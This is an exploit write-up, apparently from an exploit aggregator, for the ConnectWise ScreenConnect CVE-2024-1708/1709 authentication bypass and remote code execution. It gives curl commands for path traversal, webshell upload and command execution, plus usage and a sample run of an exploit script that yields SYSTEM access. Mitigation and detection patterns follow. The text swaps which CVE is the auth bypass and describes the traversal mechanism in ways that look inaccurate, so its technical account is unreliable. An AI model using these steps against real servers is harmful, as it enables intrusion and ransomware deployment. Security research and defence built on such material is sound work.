Exploit for Path Traversal in Connectwise Screenconnect CVE-2024-1708 CVE-2024-1709

## https://sploitus.com/exploit?id=02422D4D-EDB1-5579-AE72-9CFA7E228F5A
# CVE-2024-1708 / CVE-2024-1709 — ConnectWise ScreenConnect Authentication Bypass & Remote Code Execution

**CVSS Score:** 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)  
**CWE:** CWE-22 (Path Traversal), CWE-288 (Authentication Bypass Using an Alternate Path)  
**Affected Software:** ConnectWise ScreenConnect (formerly ScreenConnect) ≤ 23.9.7  
**Discovered & Reported:** February 2024  
**Exploited In-The-Wild:** LockBit, Black Basta, Bl00dy, and other ransomware affiliates  

---

## Table of Contents

1. [Overview](#overview)
2. [Technical Details](#technical-details)
3. [Affected Versions](#affected-versions)
4. [Reproduction Steps](#reproduction-steps)
5. [Proof-of-Concept Usage](#proof-of-concept-usage)
6. [Mitigation](#mitigation)
7. [References](#references)

---

## 1. Overview

CVE-2024-1708 and CVE-2024-1709 are a chained pair of vulnerabilities in ConnectWise ScreenConnect (formerly ConnectWise Control) that together allow an **unauthenticated remote attacker** to achieve **full remote code execution** on the ScreenConnect server.

- **CVE-2024-1708** — Authentication Bypass via Path Traversal. The `SetupWizard.aspx` endpoint (and related setup/upgrade endpoints) does not properly sanitize user-supplied path traversal sequences (`../`). An unauthenticated attacker can traverse outside the intended setup directory and reach endpoints that should require authentication. Because the wizard runs in the context of the **SYSTEM** (Windows) or **root** (Linux) account, the attacker inherits elevated privileges.

- **CVE-2024-1709** — Unrestricted File Upload leading to RCE. Once authentication is bypassed, an attacker can upload an arbitrary `.aspx` or other executable file to the web root. By then requesting the uploaded file, arbitrary code executes on the server.

### Impact

These vulnerabilities were **mass-exploited beginning February 19, 2024** by multiple ransomware groups:

| Ransomware Group | Campaign Notes |
|---|---|
| **LockBit** | Broad scanning of ScreenConnect instances; used to deploy LockBit encryptor downstream. |
| **Black Basta** | Leveraged access to MSPs to pivot into managed client networks. |
| **Bl00dy** | Smaller-scale campaigns targeting unpatched ScreenConnect servers. |

Because ScreenConnect is commonly deployed by **Managed Service Providers (MSPs)** to remotely manage hundreds of downstream client endpoints, a single compromised ScreenConnect server enables a **supply-chain attack** — every client with an agent connected to that ScreenConnect server is at risk.

---

## 2. Technical Details

### 2.1 Authentication Bypass (CVE-2024-1708)

The ScreenConnect server exposes a setup wizard at:

```
/SetupWizard.aspx/
```

Under certain upgrade/repair states, the server does not enforce authentication because it assumes the setup wizard is the first-run experience. The critical flaw is in how the server processes the `__Session` cookie or the `Transfer-Encoding` / `Content-Type` headers when accessing paths under the wizard namespace.

By sending a request to:

```
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
```

the path traversal cancels the "setup wizard" context, while the server still believes the unauthenticated session context applies. The attacker is redirected or served pages as though authenticated.

Alternative vector: The `PrepareUpgrade.aspx` / `PostUpgrade.aspx` handlers similarly lack authentication checks and expose file upload functionality.

### 2.2 Remote Code Execution (CVE-2024-1709)

Once the attacker reaches an authenticated endpoint (or directly hits the file upload handler in the setup context), they can upload a malicious `.aspx` webshell:

```
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream

...
------BOUNDARY--
```

The file is written to the web application directory (e.g., `C:\Program Files\ScreenConnect\Website\`). Requesting the uploaded shell executes it under the server's identity.

### 2.3 Root Cause (CWE-22 / CWE-288)

- The server fails to **canonicalize** the request path before routing.
- The `SetupWizard.aspx` handler trusts that any request under its route is part of the setup process and should bypass authentication — but the path traversal breaks that assumption.
- No proper validation of `../` sequences or symlink traversal.

---

## 3. Affected Versions

| Version Range | Status |
|---|---|
| **23.9.7 and below** | Vulnerable |
| 23.9.8 | Patched (released Feb 20, 2024) |
| 23.9.9 | Patched |
| 23.9.10 (latest) | Patched |

**Note:** Self-hosted (on-premise) ScreenConnect servers are the primary targets. The ConnectWise-hosted (cloud) ScreenConnect instances were patched before public disclosure and were never vulnerable.

---

## 4. Reproduction Steps

### 4.1 Lab Setup

1. **Download a vulnerable ScreenConnect version** (23.9.7 or earlier).  
   *Official installers may be available via ConnectWise partner archives. For testing, use an isolated VM.*
2. **Install on a Windows Server (2019/2022)** or a Linux host.
   - Default install paths:
     - Windows: `C:\Program Files\ScreenConnect\`
     - Linux: `/opt/screenconnect/`
   - Default web port: **8040** (HTTP) or **443** (HTTPS if configured)
3. **Ensure the server is network-isolated** — do not expose to the internet during testing.

### 4.2 Verify Vulnerability

```powershell
# Check the version
curl -s http://:8040/ | Select-String "ScreenConnect"
```

Or access the web interface and note the version number in the page source.

### 4.3 Path Traversal Test

```bash
curl -v --path-as-is "http://:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
```

Expected behavior on a vulnerable server:
- The response returns a **200 OK** or **302 redirect** to a session-authenticated page without the normal login prompt.
- The response may contain the ScreenConnect admin console HTML.

### 4.4 Webshell Upload

```bash
curl -X POST "http://:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
  -H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
  -F "file=@shell.aspx"
```

### 4.5 Execute Commands

```bash
curl "http://:8040/shell.aspx?cmd=whoami"
```

---

## 5. Proof-of-Concept Usage

The accompanying `exploit.py` script automates the above steps:

```
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]

Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target hostname or IP
  -p PORT, --port PORT  Target port (default: 8040)
  -c COMMAND, --command COMMAND
                        Command to execute (default: whoami)
  --ssl                 Use HTTPS

Example:
  python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
```

### Sample Run

```
$ python exploit.py -t 192.168.1.100 -c "whoami"

[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
```

---

## 6. Mitigation

### Immediate (Patch)

- **Upgrade** ScreenConnect to version **23.9.8** or later.
- ConnectWise released patches on **February 20, 2024**.

### Compensating Controls

| Control | Implementation |
|---|---|
| **WAF Rules** | Block requests containing `../` in the URL path after `/SetupWizard.aspx/` |
| **Network Segmentation** | Place ScreenConnect in a segregated management VLAN with strict egress filtering |
| **Access Control** | Restrict access to the ScreenConnect web interface to trusted IP ranges only |
| **Monitoring** | Alert on requests to `/SetupWizard.aspx/` from external sources, or on unexpected `.aspx` file creation in `ScreenConnect\Website\` |
| **MFA** | While MFA would not stop this (auth bypass is pre-login), enforce it on all administrative accounts for defense-in-depth |

### Detection

Search for the following IoCs in web server logs:

```
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
```

---

## 7. References

| Source | URL |
|---|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| ConnectWise Security Advisory | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - Initial Disclosure | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| CISA Known Exploited Vulnerabilities | https://www.cisa.gov/known-exploited-vulnerabilities |
| ATT&CK Technique: External Remote Services (T1133) | https://attack.mitre.org/techniques/T1133/ |

---

## Disclaimer

This repository is provided **for educational and authorized security research purposes only**. Unauthorized testing against systems you do not own or have explicit written permission to test is illegal. The authors are not responsible for misuse of this information.